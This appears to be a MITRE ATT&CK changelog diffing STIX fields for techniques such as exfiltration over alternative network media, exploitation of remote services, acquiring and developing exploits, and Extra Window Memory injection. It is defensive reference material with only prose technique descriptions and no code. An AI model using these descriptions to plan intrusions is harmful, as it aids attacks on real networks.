| external_references[1]['url'] | https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf | https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices |
| external_references[3]['source_name'] | Proofpoint Router Malvertising | Ebowla: Genetic Malware |
| external_references[3]['description'] | Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019. | Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019. |
| external_references[3]['url'] | https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices | https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf |
| external_references[4]['source_name'] | EK Impeding Malware Analysis | EK Clueless Agents |
| external_references[4]['description'] | Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019. | Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019. |
| external_references[4]['url'] | https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf | https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf |
| external_references[5]['source_name'] | Environmental Keyed HTA | EK Impeding Malware Analysis |
| external_references[5]['description'] | Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019. | Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019. |
| external_references[5]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/ | https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf |
| external_references[6]['source_name'] | Ebowla: Genetic Malware | Demiguise Guardrail Router Logo |
| external_references[6]['description'] | Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019. | Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019. |
| external_references[6]['url'] | https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf | https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js |
| external_references[7]['source_name'] | Demiguise Guardrail Router Logo | Environmental Keyed HTA |
| external_references[7]['description'] | Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019. | Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019. |
| external_references[7]['url'] | https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/ |
| x_mitre_contributors[0] | Nick Carr, FireEye | Nick Carr, Mandiant |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_defense_bypassed[1] | Host forensic analysis | Host Forensic Analysis |
| x_mitre_defense_bypassed[2] | Signature-based detection | Signature-based Detection |
| x_mitre_defense_bypassed[3] | Static file analysis | Static File Analysis |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:48:27.576000+00:00 | 2022-02-08 16:39:09.283000+00:00 |
| external_references[2]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
| x_mitre_data_sources[0] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Windows event logs | Process: Process Creation |
| x_mitre_data_sources[2] | System calls | File: File Metadata |
| x_mitre_data_sources[3] | Binary file metadata | File: File Modification |
| x_mitre_data_sources[4] | Process use of network | File: File Creation |
| x_mitre_data_sources[5] | WMI Objects | Module: Module Load |
| x_mitre_data_sources[6] | File monitoring | WMI: WMI Creation |
| x_mitre_data_sources[7] | Process command-line parameters | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Windows Registry |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 18:52:12.956000+00:00 | 2022-05-03 02:39:29.314000+00:00 |
| external_references[1]['source_name'] | FireEye Kevin Mandia Guardrails | FireEye Outlook Dec 2019 |
| external_references[1]['description'] | Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019. | McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020. |
| external_references[1]['url'] | https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/ | https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html |
| external_references[2]['source_name'] | FireEye Outlook Dec 2019 | FireEye Kevin Mandia Guardrails |
| external_references[2]['description'] | McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020. | Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html | https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/ |
| x_mitre_contributors[0] | Nick Carr, FireEye | Nick Carr, Mandiant |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_defense_bypassed[1] | Host forensic analysis | Host Forensic Analysis |
| x_mitre_defense_bypassed[2] | Signature-based detection | Signature-based Detection |
| x_mitre_defense_bypassed[3] | Static file analysis | Static File Analysis |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to exfiltrate data over a different | t | 1 | Adversaries may attempt to exfiltrate data over a different |
| > | network medium than the command and control channel. If the | > | network medium than the command and control channel. If the | ||
| > | command and control network is a wired Internet connection, | > | command and control network is a wired Internet connection, | ||
| > | the exfiltration may occur, for example, over a WiFi connect | > | the exfiltration may occur, for example, over a WiFi connect | ||
| > | ion, modem, cellular data connection, Bluetooth, or another | > | ion, modem, cellular data connection, Bluetooth, or another | ||
| > | radio frequency (RF) channel. Adversaries may choose to do | > | radio frequency (RF) channel. Adversaries may choose to do | ||
| > | this if they have sufficient access or proximity, and the co | > | this if they have sufficient access or proximity, and the co | ||
| > | nnection might not be secured or defended as well as the pri | > | nnection might not be secured or defended as well as the pri | ||
| > | mary Internet-connected channel because it is not routed thr | > | mary Internet-connected channel because it is not routed thr | ||
| > | ough the same enterprise network | > | ough the same enterprise network. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False | |
| x_mitre_network_requirements | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:35:24.570000+00:00 | 2022-03-08 21:02:16.115000+00:00 |
| description | Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network | Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. |
| x_mitre_data_sources[0] | User interface | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | File: File Access |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exploit remote services to gain unauthorized | t | 1 | Adversaries may exploit remote services to gain unauthorized |
| > | access to internal systems once inside of a network. Exploi | > | access to internal systems once inside of a network. Exploi | ||
| > | tation of a software vulnerability occurs when an adversary | > | tation of a software vulnerability occurs when an adversary | ||
| > | takes advantage of a programming error in a program, service | > | takes advantage of a programming error in a program, service | ||
| > | , or within the operating system software or kernel itself t | > | , or within the operating system software or kernel itself t | ||
| > | o execute adversary-controlled code. A common goal for post- | > | o execute adversary-controlled code. A common goal for post- | ||
| > | compromise exploitation of remote services is for lateral mo | > | compromise exploitation of remote services is for lateral mo | ||
| > | vement to enable access to a remote system. An adversary ma | > | vement to enable access to a remote system. An adversary ma | ||
| > | y need to determine if the remote system is in a vulnerable | > | y need to determine if the remote system is in a vulnerable | ||
| > | state, which may be done through [Network Service Scanning]( | > | state, which may be done through [Network Service Discovery] | ||
| > | https://attack.mitre.org/techniques/T1046) or other Discover | > | (https://attack.mitre.org/techniques/T1046) or other Discove | ||
| > | y methods looking for common, vulnerable software that may b | > | ry methods looking for common, vulnerable software that may | ||
| > | e deployed in the network, the lack of certain patches that | > | be deployed in the network, the lack of certain patches that | ||
| > | may indicate vulnerabilities, or security software that may | > | may indicate vulnerabilities, or security software that ma | ||
| > | be used to detect or contain remote exploitation. Servers a | > | y be used to detect or contain remote exploitation. Servers | ||
| > | re likely a high value target for lateral movement exploitat | > | are likely a high value target for lateral movement exploita | ||
| > | ion, but endpoint systems may also be at risk if they provid | > | tion, but endpoint systems may also be at risk if they provi | ||
| > | e an advantage or access to additional resources. There are | > | de an advantage or access to additional resources. There ar | ||
| > | several well-known vulnerabilities that exist in common ser | > | e several well-known vulnerabilities that exist in common se | ||
| > | vices such as SMB (Citation: CIS Multiple SMB Vulnerabilitie | > | rvices such as SMB (Citation: CIS Multiple SMB Vulnerabiliti | ||
| > | s) and RDP (Citation: NVD CVE-2017-0176) as well as applicat | > | es) and RDP (Citation: NVD CVE-2017-0176) as well as applica | ||
| > | ions that may be used within internal networks such as MySQL | > | tions that may be used within internal networks such as MySQ | ||
| > | (Citation: NVD CVE-2016-6662) and web server services. (Cit | > | L (Citation: NVD CVE-2016-6662) and web server services.(Cit | ||
| > | ation: NVD CVE-2014-7169) Depending on the permissions leve | > | ation: NVD CVE-2014-7169) Depending on the permissions leve | ||
| > | l of the vulnerable remote service an adversary may achieve | > | l of the vulnerable remote service an adversary may achieve | ||
| > | [Exploitation for Privilege Escalation](https://attack.mitre | > | [Exploitation for Privilege Escalation](https://attack.mitre | ||
| > | .org/techniques/T1068) as a result of lateral movement explo | > | .org/techniques/T1068) as a result of lateral movement explo | ||
| > | itation as well. | > | itation as well. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['ExtraHop'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-04 20:14:11.064000+00:00 | 2022-02-24 15:06:46.006000+00:00 |
| description | Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources. There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169) Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well. | Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources. There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169) Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well. |
| x_mitre_data_sources[0] | Windows Error Reporting | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| x_mitre_detection | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, steal, or | t | 1 | Adversaries may buy, steal, or download exploits that can be |
| > | download exploits that can be used during targeting. An exp | > | used during targeting. An exploit takes advantage of a bug | ||
| > | loit takes advantage of a bug or vulnerability in order to c | > | or vulnerability in order to cause unintended or unanticipat | ||
| > | ause unintended or unanticipated behavior to occur on comput | > | ed behavior to occur on computer hardware or software. Rathe | ||
| > | er hardware or software. Rather than developing their own ex | > | r than developing their own exploits, an adversary may find/ | ||
| > | ploits, an adversary may find/modify exploits from online or | > | modify exploits from online or purchase them from exploit ve | ||
| > | purchase them from exploit vendors.(Citation: Exploit Datab | > | ndors.(Citation: Exploit Database)(Citation: TempertonDarkHo | ||
| > | ase)(Citation: TempertonDarkHotel)(Citation: NationsBuying) | > | tel)(Citation: NationsBuying) In addition to downloading fr | ||
| > | In addition to downloading free exploits from the internet, | > | ee exploits from the internet, adversaries may purchase expl | ||
| > | adversaries may purchase exploits from third-party entities | > | oits from third-party entities. Third-party entities can inc | ||
| > | . Third-party entities can include technology companies that | > | lude technology companies that specialize in exploit develop | ||
| > | specialize in exploit development, criminal marketplaces (i | > | ment, criminal marketplaces (including exploit kits), or fro | ||
| > | ncluding exploit kits), or from individuals.(Citation: Pegas | > | m individuals.(Citation: PegasusCitizenLab)(Citation: Wired | ||
| > | usCitizenLab)(Citation: Wired SandCat Oct 2019) In addition | > | SandCat Oct 2019) In addition to purchasing exploits, advers | ||
| > | to purchasing exploits, adversaries may steal and repurpose | > | aries may steal and repurpose exploits from third-party enti | ||
| > | exploits from third-party entities (including other adversar | > | ties (including other adversaries).(Citation: TempertonDarkH | ||
| > | ies).(Citation: TempertonDarkHotel) An adversary may monito | > | otel) An adversary may monitor exploit provider forums to u | ||
| > | r exploit provider forums to understand the state of existin | > | nderstand the state of existing, as well as newly discovered | ||
| > | g, as well as newly discovered, exploits. There is usually a | > | , exploits. There is usually a delay between when an exploit | ||
| > | delay between when an exploit is discovered and when it is | > | is discovered and when it is made public. An adversary may | ||
| > | made public. An adversary may target the systems of those kn | > | target the systems of those known to conduct exploit researc | ||
| > | own to conduct exploit research and development in order to | > | h and development in order to gain that knowledge for use du | ||
| > | gain that knowledge for use during a subsequent operation. | > | ring a subsequent operation. Adversaries may use exploits d | ||
| > | Adversaries may use exploits during various phases of the ad | > | uring various phases of the adversary lifecycle (i.e. [Explo | ||
| > | versary lifecycle (i.e. [Exploit Public-Facing Application]( | > | it Public-Facing Application](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1190), [Exploitation fo | > | iques/T1190), [Exploitation for Client Execution](https://at | ||
| > | r Client Execution](https://attack.mitre.org/techniques/T120 | > | tack.mitre.org/techniques/T1203), [Exploitation for Privileg | ||
| > | 3), [Exploitation for Privilege Escalation](https://attack.m | > | e Escalation](https://attack.mitre.org/techniques/T1068), [E | ||
| > | itre.org/techniques/T1068), [Exploitation for Defense Evasio | > | xploitation for Defense Evasion](https://attack.mitre.org/te | ||
| > | n](https://attack.mitre.org/techniques/T1211), [Exploitation | > | chniques/T1211), [Exploitation for Credential Access](https: | ||
| > | for Credential Access](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1212), [Exploitation of Remot | ||
| > | T1212), [Exploitation of Remote Services](https://attack.mit | > | e Services](https://attack.mitre.org/techniques/T1210), and | ||
| > | re.org/techniques/T1210), and [Application or System Exploit | > | [Application or System Exploitation](https://attack.mitre.or | ||
| > | ation](https://attack.mitre.org/techniques/T1499/004)). | > | g/techniques/T1499/004)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 21:47:09.385000+00:00 | 2021-04-15 03:14:01.255000+00:00 |
| description | Before compromising a victim, adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). | Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may develop exploi | t | 1 | Adversaries may develop exploits that can be used during tar |
| > | ts that can be used during targeting. An exploit takes advan | > | geting. An exploit takes advantage of a bug or vulnerability | ||
| > | tage of a bug or vulnerability in order to cause unintended | > | in order to cause unintended or unanticipated behavior to o | ||
| > | or unanticipated behavior to occur on computer hardware or s | > | ccur on computer hardware or software. Rather than finding/m | ||
| > | oftware. Rather than finding/modifying exploits from online | > | odifying exploits from online or purchasing them from exploi | ||
| > | or purchasing them from exploit vendors, an adversary may de | > | t vendors, an adversary may develop their own exploits.(Cita | ||
| > | velop their own exploits.(Citation: NYTStuxnet) Adversaries | > | tion: NYTStuxnet) Adversaries may use information acquired v | ||
| > | may use information acquired via [Vulnerabilities](https://a | > | ia [Vulnerabilities](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1588/006) to focus exploit devel | > | 88/006) to focus exploit development efforts. As part of the | ||
| > | opment efforts. As part of the exploit development process, | > | exploit development process, adversaries may uncover exploi | ||
| > | adversaries may uncover exploitable vulnerabilities through | > | table vulnerabilities through methods such as fuzzing and pa | ||
| > | methods such as fuzzing and patch analysis.(Citation: Ironge | > | tch analysis.(Citation: Irongeek Sims BSides 2017) As with | ||
| > | ek Sims BSides 2017) As with legitimate development efforts | > | legitimate development efforts, different skill sets may be | ||
| > | , different skill sets may be required for developing exploi | > | required for developing exploits. The skills needed may be l | ||
| > | ts. The skills needed may be located in-house, or may need t | > | ocated in-house, or may need to be contracted out. Use of a | ||
| > | o be contracted out. Use of a contractor may be considered a | > | contractor may be considered an extension of that adversary' | ||
| > | n extension of that adversary's exploit development capabili | > | s exploit development capabilities, provided the adversary p | ||
| > | ties, provided the adversary plays a role in shaping require | > | lays a role in shaping requirements and maintains an initial | ||
| > | ments and maintains an initial degree of exclusivity to the | > | degree of exclusivity to the exploit. Adversaries may use | ||
| > | exploit. Adversaries may use exploits during various phases | > | exploits during various phases of the adversary lifecycle (i | ||
| > | of the adversary lifecycle (i.e. [Exploit Public-Facing App | > | .e. [Exploit Public-Facing Application](https://attack.mitre | ||
| > | lication](https://attack.mitre.org/techniques/T1190), [Explo | > | .org/techniques/T1190), [Exploitation for Client Execution]( | ||
| > | itation for Client Execution](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1203), [Exploitation fo | ||
| > | iques/T1203), [Exploitation for Privilege Escalation](https: | > | r Privilege Escalation](https://attack.mitre.org/techniques/ | ||
| > | //attack.mitre.org/techniques/T1068), [Exploitation for Defe | > | T1068), [Exploitation for Defense Evasion](https://attack.mi | ||
| > | nse Evasion](https://attack.mitre.org/techniques/T1211), [Ex | > | tre.org/techniques/T1211), [Exploitation for Credential Acce | ||
| > | ploitation for Credential Access](https://attack.mitre.org/t | > | ss](https://attack.mitre.org/techniques/T1212), [Exploitatio | ||
| > | echniques/T1212), [Exploitation of Remote Services](https:// | > | n of Remote Services](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1210), and [Application or Syst | > | 210), and [Application or System Exploitation](https://attac | ||
| > | em Exploitation](https://attack.mitre.org/techniques/T1499/0 | > | k.mitre.org/techniques/T1499/004)). | ||
| > | 04)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 03:09:34.771000+00:00 | 2021-04-15 03:07:53.803000+00:00 |
| description | Before compromising a victim, adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). | Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into process via Extra | t | 1 | Adversaries may inject malicious code into process via Extra |
| > | Window Memory (EWM) in order to evade process-based defense | > | Window Memory (EWM) in order to evade process-based defense | ||
| > | s as well as possibly elevate privileges. EWM injection is a | > | s as well as possibly elevate privileges. EWM injection is a | ||
| > | method of executing arbitrary code in the address space of | > | method of executing arbitrary code in the address space of | ||
| > | a separate live process. Before creating a window, graphic | > | a separate live process. Before creating a window, graphic | ||
| > | al Windows-based processes must prescribe to or register a w | > | al Windows-based processes must prescribe to or register a w | ||
| > | indows class, which stipulate appearance and behavior (via w | > | indows class, which stipulate appearance and behavior (via w | ||
| > | indows procedures, which are functions that handle input/out | > | indows procedures, which are functions that handle input/out | ||
| > | put of data).(Citation: Microsoft Window Classes) Registrati | > | put of data).(Citation: Microsoft Window Classes) Registrati | ||
| > | on of new windows classes can include a request for up to 40 | > | on of new windows classes can include a request for up to 40 | ||
| > | bytes of EWM to be appended to the allocated memory of each | > | bytes of EWM to be appended to the allocated memory of each | ||
| > | instance of that class. This EWM is intended to store data | > | instance of that class. This EWM is intended to store data | ||
